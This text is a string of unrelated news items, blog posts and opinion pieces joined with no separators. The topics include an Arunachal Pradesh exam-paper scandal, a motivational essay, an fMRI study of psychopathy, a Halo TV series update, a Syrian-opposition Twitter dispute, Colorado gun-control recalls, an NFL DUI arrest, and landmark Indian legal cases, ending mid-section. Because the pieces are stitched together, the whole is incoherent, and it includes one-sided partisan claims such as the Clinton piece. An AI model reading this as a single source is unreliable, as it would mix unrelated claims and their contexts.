Candidates appearing for the combined competitive preliminary exams conducted by the Arunachal Pradesh Public Service Commission (APPSC) last month were stumped by questions that did not make much sense to them.
It was later found out that more than half the questions were copied from www.cssforum.com.pk, a resource website for civil services examinations in Pakistan. Some questions were also lifted from the 2008 Union Public Service Commission exams but without proper options to choose from.
That was not all, candidates said.
In sociology, for instance, 90% of the questions were allegedly taken from an online discussion forum. The veterinary paper too had 60 questions taken from an online question bank Vetscan.
“Some of the questions in general studies, sociology and political science were in the context of a foreign country. We cross-checked and found they were straight out of the Pakistani resource site,” Tapi Omo, a candidate, said.
“As most of the question papers of the examination were photocopied and some were also tampered with, we cannot deny the possibility of a leak. Moreover, too much copy-pasting has been done while setting up the papers, which is illegal,” Nani Bath, member of a steering committee formed to demand a re-examination of the prelims, said.
Bath, a professor at the Rajiv Gandhi University near state capital Itanagar, said the committee on Monday set a deadline for APPSC to re-conduct the preliminary exams within three months.
A loose organisation of the candidates said a letter has been submitted to APPSC secretary Onit Payeng for checking the faulty question papers.
“The commission will take a call as early as possible if an expert panel finds errors in the question papers,” Payeng said.
Social activist Patey Tayum said making errors has become a habit for APPSC, and the state government needs to take a firm stand on the fiasco that could destroy the career of many young people.
“This is a criminal offence, and the guilty should be punished,” Tayun said, adding APPSC chairperson Tajom Taloh should quit owning moral responsibility.
This is not the first time that the APPSC is embroiled in a controversy. In 2015, allegations of a question paper leak led to the dismissal of four officials of the commission.
The question paper fiasco hit APPSC days after 25 officers in Assam were arrested and dismissed for their involvement in a cash-for-jobs scam in the Assam Public Service Commission (APSC).
Former APSC chairperson Rakesh Kumar Paul and others associated with the commission are in jail for their alleged role in the job-selling scam.
“When the challenges that your position presents to you day-by-day get bigger and tougher, how do you motivate yourself to keep fighting?”
This guy raised his hand and said:
“I remember that the reason I joined was the fight itself. Because this is what is going to develop me and it will also help other people develop themselves.”
I was blown away. A two hour session could easily be summed up by that sentence. More than that: by that feeling.
I believe that people are inherently strong. We are all fruit of millions of years of evolution and, more than that, I abide the precept that we were all created in the image of God. But how come does some express that strength more than others?
When I worked in AIESEC, there was (and there is still) this simple concept that some of the key elements in your journey towards self-development included a challenge role and environment and individual goals and responsibilities.
And that’s the key thing to me: the strength is already there but the tenacity with which you hold onto the goal you are aiming to is what is going to nurture it to come out. And the stronger you get, the more tenacious you will be able to hold onto next challenges. It’s a symbiosis of growth that we often kill with fear.
Because having been there, I know that the laziness, that lack of motivation and the “I think I have other priorities” often hide fear. And it is the worst type because it doesn’t feel like it. It is the fear that don’t come up in self-reflection moments because “you’re just not into it.” And it is the fear that kills people and, therefore, organizations. Worse: it makes them zombies.
But let’s talk about the beauty in here. After all, what this fear is telling you is that to live up to your strong self you might come even stronger to the battle you are facing now. And that’s probably gonna hurt. So, you see, as always fear is trying to protect you. But you know better. You know that on the other side of fear it is your stronger self.
Now, let me tell you a secret about this process: it goes in an infinitesimal but constant way. You set yourself a goal and it looks really far. You attain to that and take the first step which already demands a lot from you. Pay attention to this moment and I bet you can already feel stronger. But you haven’t reach your destination already, so you need to take the next step witch I guess by now you already realized that will demand more than the previous one. But then, you will become even stronger.
However, although this is the optimal process, it is not how it happens always in real life, right? And the reason is that we lose momentum by wasting energy in complaining, blaming that it’s taking longer, that this is not the road you were meant to take when you already forgot your initial destination.
We don’t notice the strength growing inside, so we invest less and less. We loose ourselves to what we should be rather then to realize that we are already being. And that’s the worst battle to lose because we give up on becoming what you already are inside: a powerful and radiant soul.
A research team based out of the University of Chicago used functional magnetic resonance imagery (fMRI) — tests that evaluate brain activity — to scan the grey matter of 80 male prisoners aged 18 to 50 during a series of experiments. Some of these prisoners met the standard diagnostic criteria for psychopathy, known as the Hare Psychopathy Checklist, while others acted as controls.
"Psychopaths are emotionally ‘aware’ of the pain of others, but this signal doesn’t register."
Researchers wanted to figure out how the brains of psychopaths and non-psychopaths responded to two violent visual stimuli: videos of people being intentionally harmed, and photos of people experiencing pain and suffering. Indeed, differences arose between the two groups. When viewing the videos and images, study participants with diagnosed psychopathy exhibited less activation in several brain regions, including the orbitofrontal cortex and ventromedial prefrontal cortex — both key to evaluating consequences and weighing decisions. They also exhibited greater activation in the insula, which plays “a pivotal role in emotional awareness,” study author Jean Decety, Ph.D., told The Verge. Combined, the results suggest that “psychopaths are emotionally ‘aware’ of the pain of others, but this signal doesn’t register in other regions of the brain ... and this contributes to their insensitivity and lack of empathy,” Decety noted.
The idea that psychopaths lack empathy is hardly surprising. But this latest research, the first fMRI study to target brain activity in the context of empathic responses, joins a growing body of evidence which indicates that psychopathic behavior might be reflected in distinct, perceptible differences inside the brain. Several earlier studies, many of them by Dr. Kent Kiehl, a professor of psychology at the University of New Mexico and a co-author on this research, suggest that psychopathic brains exhibit unique differences in structure and function.
"Psychopaths do tend to process this information differently."
In one particularly fascinating instance, Kiehl in 2009 performed a series of tests on Brian Dugan, a convicted rapist and serial killer. Dugan’s brain exhibited similar characteristics to those of these new study participants and around 1,100 others that Kiehl had already evaluated at the time. “We have a lot of data that shows psychopaths do tend to process this information differently,” Kiehl told NPR. “And Brian looked like he was processing it like other individuals we’ve studied with psychopathy.” The finding was used, unsuccessfully, by Dugan’s defense team in an effort to prevent their client from being sentenced to the death penalty — the first time fMRI data was admitted as evidence in capital sentencing.
Fascinating as this burgeoning field of research might be, it isn’t without controversy. Most notably, some experts argue, fMRI techniques aren’t refined enough to pick up on subtleties that might be integral in drawing any conclusions about psychopathy. “If you get more and more refined, an area that once looked highly active starts to look more like a mosaic of activity,” Dr. James Fallon, a professor of psychiatry and human behavior at UC Irvine, told The Verge. “And maybe one part of that mosaic processes a certain kind of empathy, and another part processes another kind. We just don’t know.”
“At what point can you conclusively say, ‘this is a certain kind of person’?"
Not to mention that the brain is only one part of a complex equation — one that’s also informed by genetics and an individual’s environment. “At what point can you conclusively say, ‘This is a certain kind of person’?,” Fallon asked. “Once you look at subjects, you define them genetically, you define them with brain imaging, you look at their behavior, and you look at their environment ... then you get a little closer.”
But the role of fMRI scans in evaluating psychopathy is becoming increasingly salient, several experts told The Verge, as the overlap between neuroscience and the legal process continues to evolve. Anecdotal evidence suggests “an increased use of neuro-imaging in capital sentencing cases,” Stephen J. Morse, J.D., Ph.D., a professor of law and psychiatry at the University of Pennsylvania, said. And preliminary studies indicate that judges might dole out more lenient sentences when biological explanations of a defendant’s psychopathy are introduced.
Fortunately, the folks at IGN managed to get a couple of answers out of David Nevins, the president of Showtime, about ‘Halo’ and it’s a “good news, bad news” situation. When asked if Showtime was still involved with the Spielberg ‘Halo’ series, Nevins responded, “It’s still in development. Still in very active development.” So that’s good. The “very active” would indicate that it’s not just in development hell, but is something that they actually plan on finishing. The bad news, however, is that when asked if more details would be forthcoming, Nevins answered simply, “No time soon.” So don’t hold your breath.
What’s most likely going on has to do with the fact that Microsoft wants to release the show on XBox Live as well as on TV, and it’s taking a while to iron out the details of just how that will happen. Back when Showtime’s possible involvement with the series was first reported, it was said that they were “charting new territory” with the series’ distribution. Perhaps, but that was a year ago. If Showtime were still having difficulty working something out with Microsoft over distribution then they probably wouldn’t say that ‘Halo’ is in “very active” development. If, for some reason, a disagreement on distribution is still the problem, then I find myself with little sympathy for Showtime. A lot of legacy entertainment companies have been rather slow to adapt to the realities of modern, internet-based distribution, and they’re hurting because of it. I just hope that a potentially good series, like Spielberg’s ‘Halo,’ doesn’t suffer as well because of it.
Abu Alfath Alfargaly wrote in an article, published on Wednesday: “Will the [Egyptian] finance minister run the economy and the banks according to Sharia law, that bans interest? Will he allow the export of agricultural goods knowing that they might be used to produce alcohol? Will the foreign minister put the interests of Islam before the interests of his nation-state?”
According to Alfargaly, the ministers should have a methodical Islamic education.
Most controversial were his comments on education. “Will the education minister enact Islamic or secular education? Will the laws of physics that are studied in the secular system, like the law of conservation of energy, be taught from a secular perspective, like today, or changed to include an Islamic perspective, because there’s an accurate Islamic definition of this law.”
The high-profile Islamic activist Muhammad Amin commented on Twitter: “And if the law of the conservation of energy is taught in its ‘secular’ form, does it mean the government is secular infidels?”
وفي حال بقي قانون الطاقة بصيغته "العلمانية" تصبح الحكومة علمانية مرتدة؟ 😊@abazeid89 pic.twitter.com/Xw8T2pHHdN — محمد الأمين #أموي (@ibn_amin) September 15, 2016
Ahmad Abazeid quoted the controversial paragraph and wrote: “Answer your brother.”
أجيبوا الأخ.. "قانون بقاء الطاقة في الفيزياء والكمياء هل ستعاد صياغته بطريقة توافق الشرع أم سيظل بصورته العلمانية؟" https://t.co/Nx8e6fx56u — أحمد أبازيد (@abazeid89) September 15, 2016
Abazeid’s dismissive tone annoyed many of Alfargaly’s sympathizers. “Is that your only take away from the article?” Abu Azzam Alshami scolded him. “It’s a wily reading of the article that leads to pathetic insight that leads to a pathetic interpretation.”
https://twitter.com/It43Z3f3sEELQCv/status/776471051924561920
The debate on physics was soon subsumed by a debate about the right of foreign fighters to decide which government will lead Syria, highlighting a deep resentment between Syrian, Egyptian and Jordanian activists.
Syrian Revolution replied to Alfargaly: “You leave the government issue to the Syrians. They know better than you. Mind your own business. If you came to Syrian to be a jihadi, stick to it or go back to your country.”
أنت قدمت لسورية مجاهدا فالزم الجبهات أو عد لبلدك — فؤاد (@FajerSyriaN) September 15, 2016
Coming out in Alfargaly’s defense, Abu Anas attacked the Syrian National Coalition, the internationally recognized representative body of the Syrian opposition.
“Listen,” he wrote, “all that blood wasn’t spilled so that the opportunistic, dirty and corrupt coalition would rule this country, like the previous leaders who stole 100 million.”
https://twitter.com/mimostavi/status/776463968739221504
Twitter user Syrian Revolution replied: “No, you listen. We Syrians decide who will be our government, not the Egyptian.”
افهم ياهذا نحن أهل سورية نقرر من يحكمنا وليس مصري — فؤاد (@FajerSyriaN) September 15, 2016
“Those who really cater to the people are those who care about them, not the National Coalition traitors who sit in hotel lobbies,” the Jordanian fighter Abu Abdullah wrote.
https://twitter.com/mohmidfer1/status/776496758088142848
Another Jordanian user demanded that Islamic clerics decide the character of the Syrian government, and was pelted with criticism by Syrians.
“Jordanian, go to hell, look at what your king is doing to you and get off our ass,” one replied.
اردني انقلع شوف مليكك شو عما يساوي وحل بلاك عن طي….نا — شؤون سورية (@gw4p5yduflv) September 15, 2016
In the spring of 2015, a controversial video surfaced of a Planned Parenthood executive describing the (very legal) routine processes that the organization goes through to donate fetal tissue and organs.
The video, which was heavily edited in favor of anti-abortion supporters, was released online as "investigative footage" by the Center for Medical Progress, with the title "Planned Parenthood Uses Partial-Birth Abortions to Sell Baby Parts." It was then shared widely and rapidly across social media channels, launching the anti-abortion activism career of CMP founder David Daleiden.
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This week, that career may have come to a startling halt.
On Tuesday, California prosecutors indicted Daleiden and Sandra Merritt, his co-conspirator, on 15 felony counts of violating the privacy of health-care providers by recording confidential information without their consent.
“The right to privacy is a cornerstone of California’s Constitution, and a right that is foundational in a free democratic society,” California Attorney General Xavier Becerra said. “We will not tolerate the criminal recording of confidential conversations.”
Daleiden and Merritt used manufactured identities and created a fictitious bio research company to meet medical officials and covertly record the private discussions they initiated, Becerra said while announcing the charges.
The infamous "baby parts" video wasn't the only heavily edited, illegally filmed footage that Daleiden and Merritt procured. Between October 2013 and July 2015, they filmed 14 meetings between Planned Parenthood employees in three different counties, all under false pretenses. They claimed they were interested in creating partnerships between Planned Parenthood and medical research companies.
Even after the indictment was announced, Daleiden claims that he did nothing wrong.
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“It was nothing more than a First Amendment journalist pursuing a good cause and fighting a battle, now a martyr who’s being crushed by the power of the state of California,” said Steve Cooley, a former Los Angeles district attorney, who represents Daleiden.
White-Blue-Red Control by Shaun McLaren
3rd at GP Minneapolis Modern on May 11th 2014
Shaun McLaren has already proven his dominance of the UWR Control deck in Modern so it looks like he felt it needed a tweak to keep performing for him. And while it was not able to propel him to the top spot, it was good enough to push him into the top 4 of a very strong field. His deck still has the classic control elements of draw, permission and removal but adds an interesting creature twist to grind out all the value.
Let’s start from the top with the title card which adds the new spin with Kiki-Jiki, Mirror Breaker who is no stranger to Modern but has traditionally been found in either the Twin or Pod decks. Here we find him used to grind out some mega-value or even surprise combo for the kill. So looking first at that combo kill, when we pair Kiki up with Restoration Angel you create a possible infinite loop of tapping Kiki to copy Resto then blinking Kiki with the copies into play trigger to rinse and repeat. You can also flash in Resto as a blocker if Kiki is in play and create enough blockers to shut down an alpha strike from a Twin deck, very sneaky. The other key target for Kiki is Wall of Omens which works to shore up some ground defenses while providing a solid and steady stream of card advantage. There is also Snapcaster Mage which can continue to rebuy spent spells in the grave with Kiki. A singleton Vendilion Clique is extremely useful in the deck as a way to not only gain information about your opponents plan but also to help disrupt it as well. The manabase also affords us the inclusion of a set of Celestial Colonnade which are a key beatdown element and one of the main avenues to victory. As advertised this is a control deck and thus has a well rounded permission suite starting with a set of Mana Leak, a pair of Remand, and singletons of both Spell Snare and Cryptic Command. The removal is also very heafty including Lightning Bolt and Electrolyze to either burn creature or straight to the dome, and Path to Exile to decisively remove any creature threat in the way. The deck is also able to squeeze two Tectonic Edge into the manabase as an additional hedge against manlands or Scapeshift combo. The draw power of the deck lies primarily with the Wall, Electrolyze, Remand and Cryptic, but the are also singletons with a Sphinx’s Revelation and a Desolate Lighthouse to bolster the draw package.
So once again Shaun shows us it was no fluke that he won Pro Tour Born of the Gods almost fighting his way to another victory. He clearly enjoys this style of deck and has a finger on the pulse of the metagame. It is going to be exciting and interesting to see what sort of evolution he continues to push with this deck, and also if it continue to be a strong metagame choice.
Eric J Seltzer
“It is very strange that it was released Friday afternoon on a Labor weekend. I do think it brings up questions to what sort of game the FBI is trying to play. But Hillary Clinton says she can’t remember what a “C” in brackets stands for. Everyone in positions of government and in Wikileaks knows it stands for ‘classified confidential,’” Assange said.
Although Hillary Clinton claimed she did not know what the “C” terminology meant in her emails, that immediately arose suspicion among many within the conservative press corps.
First of all, the theory just doesn’t wash simply for the fact that, as secretary of state, it was Hillary Clinton’s job to handle these types of emails on a daily basis.
Second, Assange proved that Hillary must have known what the “C” meant.
“We have thousands of examples where she, herself, has used this “C” in brackets and signed it off,” Assange said.
So, the fact that Hillary claims she didn’t know the “C” stood for classified is, to quote Wikileaks, about as “credible as if she didn’t know what ‘C’ meant in HRC.”
Considering the timely release, it is incredibly obvious the FBI is protecting Clinton. However, it did not feel the same sort of kinship toward David Petraeus, who simply shared some minor pieces of information to his biographer and mistress.
The FBI also did not have the same leniency towards the service member who took a picture of the inside of a submarine to share as a memento for his kids.
It is time for the media to do their job. The only “office” this woman deserves to have is the “two-hots-and-a-cot” variety at the local D.C. prison.
Colorado Springs — Despite the media’s insistence that the Colorado recalls were the first skirmish in a new proxy war between the National Rifle Association and New York mayor Michael Bloomberg, the simple truth is that Tuesday’s stunning elections were prompted and won by forces on the ground. At the Stargazers Theatre last night, I sat with those forces as a famous victory unfolded. Speaking after Senator Morse conceded, the recall’s founder, Tim Knight, told the crowd that “you must own your freedom in order to protect and pass it on to your children.” He has spent the last few months doing just that.
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#ad#Guns are a notoriously touchy subject in America — a supercharged third rail, if you will. But so too is the notion of accountability. The country was founded, after all, by men with guns grumbling about the nature of their political representation. It was in this proud tradition that the disgruntled banded together in Colorado to try to recall two sitting state senators who had not just voted to pass new restrictions on the right to keep and bear arms, but had steadfastly refused to listen to the opposition. The new gun laws, locals in both Colorado Springs and Pueblo told me repeatedly, were “the straw that broke the camel’s back.” Their more fundamental message: “Listen to me, goddamnit!”
Recall advocates in Colorado Springs were lucky that John Morse elected to make himself unpopular with almost every conceivable group. “There’s something for everyone with John Morse,” Luke Wagner of the Basic Freedom Defense Fund told me. Indeed. Morse irritated not just gun owners, but also the legalize-marijuana movement, rural Coloradans, independent taxpayers, and women’s advocacy groups. To his surprise, Morse’s imperious behavior awoke a parade of formerly apolitical Coloradans, many of whom were dismayed by the manner in which they had been treated by a group of politicians who had, in the words of Victor Head, the 29-year-old plumber and political novice who beat Michael Bloomberg’s machine, “made their minds up already.”
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In Pueblo, Angela Giron could perhaps have avoided her own downfall. Despite her unpopular vote to expand federal background checks to all private sales and to limit magazines to 15 rounds, had she condescended to listen to her constituents she might never have had to face a recall. Instead, she closed doors in the faces of Victor Head and his friends. Now, Giron and Morse are gone. When in the course of human events, and all that jazz . . .
The national implications of this are significant. When Bill Clinton signed the 1994 “assault weapons” ban, he didn’t just lose the House, he also lost the argument for 20 years. Colorado was supposed to be the blueprint for other “purple” states. If gun control could be done here, then why not in Pennsylvania, or Nevada — or even Texas? Now, it will presumably be difficult to convince state legislatures in other parts of the country to touch the question of guns. Privately, defenders of Morse have shared with me that, while they wanted their man to win, they wish he hadn’t put the Democratic party in this position. This is wise. Gun control rarely works out well for the party.
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What the voters’ decision didn’t do was to repeal the laws that spurred the recall. Those remain on the books, although the legislature is now unlikely to add to them in a hurry. (Democrats now enjoy only a one-vote advantage in the senate.) Meanwhile, the measures are subject to a legal challenge initiated by the 55 of the state’s 64 elected sheriffs and filed by the Independence Institute, a local conservative think tank. Conservatives quietly hope that the laws will eventually find themselves being judged by the Supreme Court.
#page#“We’ve gained notoriety and caused much anxiety,” sang Tom Lehrer in “Poisoning Pigeons in the Park.” “They call it impiety, and lack of propriety, and quite a variety of unpleasant names.” So too maligned were the parade of little groups that sprung up to fight the government. Women who testified — some of them, like Kimberly Weeks and Amanda Collins, victims of rape — were cruelly rebuffed; genuine advocates, like the six men who founded the Basic Freedom Defense Fund, were dismissed erroneously as “AstroTurf”; and the plucky little guerrilla group, Pueblo Freedom and Rights, which was started by three formerly apolitical blue-collar twentysomethings, was described variously, its founder, Victor Head told me, as being made up of “peons” and “nuts,” and guilty of representing “amateur hour.”
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Nevertheless, by the end of the process, so anxious were the opponents of the recall that they felt compelled to rely heavily on Michael Bloomberg, who sent $350,000 to Colorado to fight the threat; members of Obama’s ground team were brought in to boost turnout, and even former president Bill Clinton was wheeled in at the last minute to try to tip the scales.
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#ad#None of it worked. This was the recall that never supposed to happen — let alone be successful. The nine men who set the ball rolling weren’t supposed to be capable of organizing a town hall, let alone taking down the state-senate president. And yet they did it. Victor Head, a plumber who had never been politically active, took down a senator in a district that went Democratic in 2012 by ten points; a group of six concerned men from the AR15.com chat room removed the state’s top-ranking legislator. “We are a quiet people,” recall founder Tim Knight told his victorious friends when the results became known at the Stargazers Theater. “You may be tempted to ignore us. Clearly, that would be a mistake.”
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Critics of what is colloquially described as the “gun lobby” have imagined a bogeyman that doesn’t exist, imputed false motives to earnest forces, and worried about the influence of outside money that was more than outmatched by opponents. Many were the headlines that set up yesterday’s vote as a “test of the strength of the NRA.” But the truth remains that the power that the defenders of the Second Amendment enjoy lies in the appeal of the Second Amendment itself — and, too, in that peculiar American genius for liberty and democracy. “Join or Die” says the famous flag. Here, enough people did to make a difference. The cheers that erupted around the theatre when Morse and Giron conceded were, as much as anything, cheers of relief. “People keep saying to me that it doesn’t matter if we lose,” one woman told me. “But I’ve lost my husband for the last two months. It matters!”
“Amateur hour?” Perhaps. But, as is proper in a republic, the amateurs were victorious.
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According to NFL Media's Albert Breer and Ian Rapoport, who cited the Leon County (Fla.) jail, Williams was arrested at 3:08 a.m. Friday. The FSU campus in Tallahassee, Fla., is in Leon County.
It's not the first time Williams has been involved in a traffic stop that could be cause for alarm for NFL clubs considering him with a high draft choice. He was also cited with tickets after a traffic accident in October, although the case has drawn far more attention from NFL teams than a typical accident would. The New York Times wrote a scathing investigative report on the case, suggesting that police should have charged Williams with hit-and-run because he fled the scene of an accident on foot.
Williams first drew police attention Friday morning with an illegal left turn out of a McDonald's parking lot. According to a police report cited at tallahassee.com, Williams was driving a rental car on a suspended license, stopped at a green light, and swerved over the centerline before being pulled over. He reportedly refused a field sobriety test and told police that he is a Florida State football player and "just wanted to go home." He also admitted that he had come from a local bar called Recess.
Williams (6-0, 196) has impressive size and athleticism for a cornerback, although his 40-yard dash time at the NFL Scouting Combine (4.57) was somewhat underwhelming. He improved on that time at FSU's pro day earlier this week, twice clocked at 4.45. Williams is considered an ideal fit for an NFL club looking for a bump-and-run style cover man.
Earlier this week, NFL Media analyst Daniel Jeremiah updated his Top 50 list and rated Williams as the No. 35 overall prospect in the draft, but it's unclear what sort of negative effect the DUI charge might do to Williams' draft stock. The arrest comes at a time when two other top cornerbacks in the draft, UConn's Byron Jones and Wake Forest's Kevin Johnson, are making a move up the rankings.
As Hurricane Irma draws closer to the Florida coast after devastating the Caribbean, where it affected more than 1.2 million people and led to at least 20 deaths, residents of the Southeastern coast of the US are frantically trying to prepare for the destruction it might bring, from leveling homes to knocking out power to thousands upon thousands of people and businesses.
But with panicked efforts underway to save families, pets, and homes, some emergency responders in Florida and Louisiana are also committed to saving an asset that some fear is particularly susceptible to damage during the storm: expensive wines.
According to Newsweek, collectors and wine suppliers are rushing to move valuable stockpiles of valuable wines out of the path of Irma, which was downgraded from Category 5 to Category 4 as of Friday afternoon and is expected to make landfall tomorrow morning. The gravest concerns for collectors are flooding, which could destroy labels and degrade corks, and power outages that could shut off fridges. Changes in temperature can even cause bottles of wine to explode under some circumstances.
Adam Gungle, the chief executive officer of a wine transportation service called Xpeditr, which specializes in protecting wine investments during natural disasters, told Reuters, "The wrath of a hurricane can ruin delicate pieces of liquid history... Hurricanes Andrew, Katrina and Sandy ruined tens of millions of dollars worth of fine wine. A lot of these bottles survived World War I, World War II."
Some of the collections being relocated are worth millions of dollars and include bottles that are more than a century old. Gungle also noted that some of the bottles are being aged by collectors to be donated to charity.
Xpeditr founded its Emergency Response Team after Superstorm Sandy destroyed millions of dollars worth of wine when it struck the East Coast in 2012.
English billionaire and Virgin founder Richard Branson revealed today that when he found that his 74-acre private island were in the path of Hurricane Irma, he survived by holing up in his wine cellar.
As he braced for Irma's arrival last night, Branson wrote on his blog on Virgin's website, "Knowing our wonderful team as I do, I suspect there will be little wine left in the cellar when we all emerge." Thankfully, he, his team, and the wine all made it through the storm.
READ MORE: These Houston Bakers Are Too Busy Making Bread to Talk About Being Heroes
"We took shelter from the strongest hurricane ever inside the concrete cellar on Necker and very, very fortunately it held firm," he wrote in a follow-up blog post today. "I have never seen anything like this hurricane. Necker and the whole area have been completely and utterly devastated... For those who are still in the path of Hurricane Irma, and Hurricane Jose to come, I cannot emphasize enough how important it is to put safety first and prepare as strongly as possible. Having seen first-hand the power of this storm, please ensure you stay inside, ideally in organized shelters or other solid concrete structures with water, supplies and emergency contact plans."
American Pharoah has been named to the Jewish Daily Forward’s annual Forward 50 list of notable and newsworthy Jews.
The bay colt, who in June became the first thoroughbred in 37 years to win the Kentucky Derby, Preakness and Belmont Stakes, was honored by the 118-year-old newspaper in a nod to Egyptian-born owner Ahmed Zayat, the Yeshiva University graduate and Orthodox Jew whose largesse and philanthropic efforts for Jewish causes is well documented.
American Pharoah wins, and fans enjoy the day at Belmont Park – in pictures Read more
The Zayat Stables homebred is in good company on this year’s Forward 50, unveiled on Sunday, whose top five names include Democratic presidential candidate Bernie Sanders, comedian Amy Schumer, same-sex marriage activist Evan Wolfson, MacArthur genius grant winner Marina Rustow and community activist and live kidney donor Mendy Reiner.
The three-year-old son of Pioneerof the Nile and Littleprincessemma became the first Triple Crown champion to win the Breeders’ Cup Classic with a wire-to-wire win on 30 October at Keeneland. The first-place finish, his ninth in 11 lifetime starts, lifted his career earnings to $8.65m.
Raising Hispanic turnout and support for Democratic candidates obviously requires the kind of voter mobilization that Battleground and other groups are undertaking. This year, Battleground claims to have recruited 32,000 volunteers to register voters and get them to the polls. Registration in the state’s five largest counties is up two percent, even though registration often goes down between presidential and mid-term elections. But success among Hispanics also depends on building organizations that function between elections. Battleground, which is an out-of-state creation, may not be best suited for this task. “Organizations come in for the election, and then they are gone,” Jorge Montiel, the lead organizer for San Antonio’s Metro Alliance, laments.
Success in mobilizing the Hispanic vote also depends on nominating candidates in Texas (and also nationally) who can appeal to these voters. According to several Democrats I talked to, Davis hasn’t “connected” to these voters. In the primaries, she even lost several small counties to a token Hispanic opponent. She is principally known in the state for her stand on behalf of abortion rights—whereas many of Texas’s Hispanics oppose abortion. Democrats urged San Antonio’s former mayor Julian Castro, now the secretary of Housing and Urban Development, to run, but he declined, probably one San Antonio political leader speculated, because he feared certain defeat.
Finally, success in increasing Hispanic support for Democrats will depend on what Republicans in Texas and nationally do. In Texas, Republican governors have steered clear of the harsh rhetoric about “illegal aliens” that proliferates among many other Republicans. Abbott boasts a Latina wife. As a result, Texas Republican candidates for state office have gotten about 40 percent of the Hispanic vote, which has virtually assured their victory. This year, the Hispanic Bush, George P. Bush, is currently running for Land Commissioner, and if he becomes a leader of party, could keep many Hispanics voting for Republicans in state races.
But there are Tea Party Republicans, including Senator Ted Cruz, who decry efforts at immigration reform. In Arlington this year, a suburb of Dallas-Fort Worth, a Tea Party favorite Tony Tinderholt, who ousted a moderate incumbent in the primary, has warned that “people are going to die” to protect the border from people “with plans to do horrible disgusting things to American citizens.” If Cruz and Tea Party types take over the Texas party, then it will become easier for Democrats to win votes in high state office, which are held between presidential elections.
Texas Democrats are likely to have an easier time painting the national party and its candidates as being hostile to Hispanics. In 2012, Obama got 71 percent of the Hispanic vote nationally against Mitt Romney, who used his opposition to immigration reform to win the nomination. Last year, Florida Senator Marco Rubio’s support for immigration reform appeared to doom his presidential prospects. So even if Texas’s Republicans foil Democratic efforts to boost their Hispanic support in state elections, national Republicans might help Democrats increase Hispanic support for a Democratic presidential candidate.
In Texas, white voters have blended the anti-government ethos of the West and the deep South. Many Texas white voters began changing their party allegiance from Democrat to Republican after 1980 without changing their ideology. But Texans’ bedrock conservatism among whites has been mitigated by in-migration from less Republican states and by the development of what Ruy Teixeira and I called “ideopolises”—large metro areas dominated by professionals who produce ideas. By garnering support in the Dallas, Austin, San Antonio, Houston, and El Paso metro areas, the Democrats might be able to get the 30 percent or more of the vote they need in presidential elections, and eventually the 35 percent they need in state elections.
In these metro areas, Texas Democrats can attract the same white voters who boosted Democrat hopes in states like Virginia and North Carolina: younger voters, who came of age after the Reagan-Bush era, professionals, and women. Davis’s candidacy has probably helped among these voters. In a late September poll that showed Davis behind Abbott by fourteen points, she still had an edge among women and voters 18 to 44, while getting trounced among male and older voters. (In the same poll, Davis only get 50 percent of Hispanic vote.) Mustafa Tameez, a Houston Democratic consultant, says that the Texas state legislature’s lurch to the right, which spawned Davis’s candidacy, will win over many of these voters. “The urban vote and women are the key to Democrats winning Texas,” Tameez says.
Texas Democrats’ ability to win over white voters will also depend on what happens to the national party. Obama remains deeply unpopular in Texas—identified with whatever failures white Texans ascribe to the federal government. There were no exit polls in the 2012 election, but Nate Cohn has estimated that Obama only got 20 percent of the white vote. Whites need to feel comfortable voting for a candidate identified with the national party. Tameez and other Democrats believe that Hillary Clinton, who defeated Obama in the 2008 Texas primary, will fare far better among the state’s Anglos than Obama did. But even if they nominate a candidate more palatable to urban whites, the Democrats may have to wait until 2020 to have a good shot at winning Texas in a presidential vote.
Understanding such prominent incidents can give us vital insight into how society was perceived by law-makers at different points of time, and how they used the tools at their disposal to shape it in response to the perception of the people in India. Keeping in that in mind, here are eight significant incidents in India that led to the formation of new, important laws, changing various parts of our legal system. Whether these changes were for the better or worse can be constantly debated from different sides, but these incidents mark crucial times in our judiciary nonetheless.
I. K.M Nanavati vs State of Maharashtra
A crime of passion, which led to the ultimate abolition of India’s jury system.
In 1959, Sylvia Nanavati confessed to having an affair with Prem Ahuja, infuriating her naval commander husband K.M Nanavati. In a fit of rage, Nanavati walked into Ahuja’s apartment to confront him, and ended up firing three shots at Ahuja, leading to a widely debated murder charge case.
The Verdict
Owing to Nanavati’s high profile funding, the jury pronounced him ‘not guilty’ by an eight is to one majority—a decision which was found perverse and overruled by the Judge. Following this controversial decision, the case was sent to the Bombay High Court, who overturned the jury’s decision and held that the accused was guilty of murder under section 302 of the Indian Penal Code, thereby sentencing him to life imprisonment. The Supreme Court ultimately upheld this final verdict.
What does it mean for us?
As a result of this controversial case, India’s jury system was completely abolished, and was removed from the Code of Criminal Procedure, 1973. This forever transformed the mechanism by which law and order would be delivered in India. In another landmark change, as the crux of the case deeply impacted public perception, it brought the commencement of media trials in the judicial system, something we’re all too familiar with today.
II. Mary Roy vs the State of Kerala
Embracing the initial steps towards breaking legal gender barriers in India.
After the death of her father who passed away without leaving without a will, Mary Roy, educator, activist and mother of author Arundhati Roy, decided to challenge the discriminatory provisions of the inheritance Act applicable to her. As per the Travancore Christian Succession Act, 1092, if a man died without specifying a share of his property to his daughter, unlike for sons, she would not be entitled to anything. In addition, one-fourth of the value of the son’s share or Rs. 5,000, may be provided.
Invoking Article 14 of the constitution, which prescribes right to equality as a fundamental right of each citizen, Mary Roy battled for equality in property rights for herself, and for Syrian Christian women in the future.
The Verdict
At the end of the legal feud, the Supreme Court held that the Indian Succession Act, 1925, which recognized equal succession rights for daughters and sons would now be applicable to Christians in Travancore and Cochin as well, marking an important judicial win for both men and women.
In addition to that, it also provided that a widow would be entitled to get one third as her share from her deceased husband, while the rest of the property would be divided equally amongst her sons and daughters.
What does it mean for us?
This incident was one of the stepping stones towards restoring the constitutional right to equality for all across the subcontinent. Emphasizing that no religious denomination can take away from gender equality, this Supreme Court judgment was a landmark decision in India’s legal history.
III. Mathura Case
An important step towards refining India’s rape laws.
On a cold rainy night, Mathura, a minor tribal girl was summoned to the police station by two police officers regarding a complaint lodged against her boyfriend by her brother. Taking advantage of the situation, the police officers threatened her into submission, raped her and then let her. Following this, Mathura filed a rape case against the two police constables in question.
The Verdict
As the trial came to a close, the Supreme Court acquitted the police constables on the grounds that Mathura neither raised an alarm, nor had injuries on her body to show any kind of struggle or resistance, which could be assumed as a ‘peaceful or consensual’ affair, and therefore rape could not be proven.
In the aftermath of this unjust verdict by the Supreme Court, a huge wave of wrath by the public was triggered, which ultimately led to the amendment of the Criminal Law Act, 1983. Now, custodial rape and the procedure to deal with ‘consent’ has been included under rape laws of India.
What does it mean for us?
